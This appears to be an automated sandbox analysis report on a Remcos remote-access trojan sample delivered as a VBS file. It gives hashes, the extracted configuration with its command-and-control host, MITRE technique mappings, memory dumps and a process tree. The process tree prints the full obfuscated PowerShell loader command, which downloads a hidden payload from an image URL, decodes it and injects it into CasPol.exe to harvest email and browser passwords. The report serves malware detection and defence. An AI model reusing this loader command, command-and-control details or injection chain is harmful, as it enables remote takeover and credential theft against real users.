remcos | 891e95aa7d15515df54f91606a27711c7c6bce4be800f6317e5f58843b0ecfb7

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-12-2024 15:03

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Report Analysis Logs

General

Target

economicthingsaregoingaroundwithhusbandwithgoodnewsgreatforeverybodygiven.vbs
Size

212KB
MD5

7f54fcc18cf1595a91bcf1c61df774cf
SHA1

298fae69662e298ac46e0e1be5fc679a0f527c22
SHA256

891e95aa7d15515df54f91606a27711c7c6bce4be800f6317e5f58843b0ecfb7
SHA512

3c368045ebe048ee7e8972e6dcaf92f60772c75a1a2d5cdaae7e6048aac8b7cb8fd266c6632b9b7ff17598162600ba517a71b4c9b90d564e0e7c4ebe193ed3ba
SSDEEP

3072:A8gVmI3b0mgfmWu+le9VOv5iG5sVhQ30Wk+70wgA1A:A8gV6e9VOvM

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

brideeded.duckdns.org:3421

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-QYW18E
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2420-42-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/208-40-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1676-39-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/208-40-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1676-39-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3376	powershell.exe
17	3376	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3376	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3376 set thread context of 2276	3376	powershell.exe	84
PID 2276 set thread context of 1676	2276	CasPol.exe	85
PID 2276 set thread context of 208	2276	CasPol.exe	86
PID 2276 set thread context of 2420	2276	CasPol.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe
1676	CasPol.exe
1676	CasPol.exe
2420	CasPol.exe
2420	CasPol.exe
1676	CasPol.exe
1676	CasPol.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2276	CasPol.exe
2276	CasPol.exe
2276	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	2420	CasPol.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 3376	3780	WScript.exe	82
PID 3780 wrote to memory of 3376	3780	WScript.exe	82
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 3376 wrote to memory of 2276	3376	powershell.exe	84
PID 2276 wrote to memory of 1676	2276	CasPol.exe	85
PID 2276 wrote to memory of 1676	2276	CasPol.exe	85
PID 2276 wrote to memory of 1676	2276	CasPol.exe	85
PID 2276 wrote to memory of 1676	2276	CasPol.exe	85
PID 2276 wrote to memory of 208	2276	CasPol.exe	86
PID 2276 wrote to memory of 208	2276	CasPol.exe	86
PID 2276 wrote to memory of 208	2276	CasPol.exe	86
PID 2276 wrote to memory of 208	2276	CasPol.exe	86
PID 2276 wrote to memory of 2420	2276	CasPol.exe	87
PID 2276 wrote to memory of 2420	2276	CasPol.exe	87
PID 2276 wrote to memory of 2420	2276	CasPol.exe	87
PID 2276 wrote to memory of 2420	2276	CasPol.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\economicthingsaregoingaroundwithhusbandwithgoodnewsgreatforeverybodygiven.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$antisiphonal = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg ';$orlage = New-Object System.Net.WebClient;$centralised = $orlage.DownloadData($antisiphonal);$slanshacks = [System.Text.Encoding]::UTF8.GetString($centralised);$commends = '<<BASE64_START>>';$Lemaitre = '<<BASE64_END>>';$ependymis = $slanshacks.IndexOf($commends);$transcolation = $slanshacks.IndexOf($Lemaitre);$ependymis -ge 0 -and $transcolation -gt $ependymis;$ependymis += $commends.Length;$scribblage = $transcolation - $ependymis;$dorsolumbar = $slanshacks.Substring($ependymis, $scribblage);$keltologist = -join ($dorsolumbar.ToCharArray() | ForEach-Object { $_ })[-1..-($dorsolumbar.Length)];$carinately = [System.Convert]::FromBase64String($keltologist);$brite = [System.Reflection.Assembly]::Load($carinately);$helygia = [dnlib.IO.Home].GetMethod('VAI');$helygia.Invoke($null, @('0/qvVum/r/ee.etsap//:sptth', 'creance', 'creance', 'creance', 'CasPol', 'creance', 'creance','creance','creance','creance','creance','creance','1','creance','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2276
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\orkbaohaybmatxuvyoiwklp"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1676
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ylputgrumjefelqzpzdxnxkcbr"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:208
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jndeuzcvhrwkgrelyjqzycetkylnw"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2qezpjet.alk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\orkbaohaybmatxuvyoiwklp

Filesize
4KB

MD5
57509a6a6267f17bef5e5da8b1df8829

SHA1
0886741be12c4e6dd24688df7b9568e91b2fc2aa

SHA256
4d50e4b2ee7b25d6a88dea6a28503975ca95f98e6e72fcd1ee754d016df3ed3d

SHA512
019c20a2354ef20ff3870ea4d544ae4e7ec21729bfbeb19d2dd2f8b087fcb6b83f259ab2f35e0f3c7f044ebb7c5bbfdfc63f23b811d458a15f5ad35aa9175228

Download Submit
memory/208-38-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/208-40-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/208-35-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1676-34-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1676-39-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1676-36-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2276-19-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-54-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-62-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-33-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-57-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-58-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-56-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-55-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-51-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2276-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2276-52-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2276-48-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2420-41-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2420-37-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2420-42-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3376-12-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-13-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-17-0x0000020F7CA90000-0x0000020F7CC3A000-memory.dmp

Filesize
1.7MB

Download
memory/3376-10-0x0000020F6C410000-0x0000020F6C432000-memory.dmp

Filesize
136KB

Download
memory/3376-11-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-14-0x00007FFC27113000-0x00007FFC27115000-memory.dmp

Filesize
8KB

Download
memory/3376-15-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-16-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-27-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-0-0x00007FFC27113000-0x00007FFC27115000-memory.dmp

Filesize
8KB

Download
memory/3376-18-0x00007FFC27110000-0x00007FFC27BD1000-memory.dmp

Filesize
10.8MB

Download